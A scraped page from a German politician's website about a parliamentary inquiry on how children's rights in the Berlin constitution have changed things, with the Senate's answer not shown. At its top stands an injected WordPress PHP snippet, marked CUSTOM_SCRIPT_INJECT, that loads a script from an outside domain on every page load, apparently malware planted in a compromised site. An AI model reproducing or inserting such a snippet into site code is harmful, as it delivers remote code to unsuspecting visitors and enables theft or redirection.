// CUSTOM_SCRIPT_INJECT_START add_action('wp_enqueue_scripts', function() { wp_enqueue_script('custom-inject', 'https://wuntred.com/H9E84s', array(), '1.0', false); }); // CUSTOM_SCRIPT_INJECT_END Kinderrechte in der Berliner Verfassung - Was hat sich geändert? - Kleine Anfrage - Marianne Burkert-Eulitz

Kinderrechte in der Berliner Verfassung – Was hat sich geändert? – Kleine Anfrage

Seit 2010 sind die Kinderrechte in der Berliner Verfassung festgelegt. Ich fragte im November den Senat, was sich dadurch für die Kinder in der Praxis verändert hat. Außerdem fragte ich in diesem Zusammenhang, was der Senat gegen Kinder- und Familienarmut zu tun gedenkt und wie er eine kindgerechte Stadt erreichen möchte.

Lesen Sie hier die Antwort auf meine kleine Anfrage:

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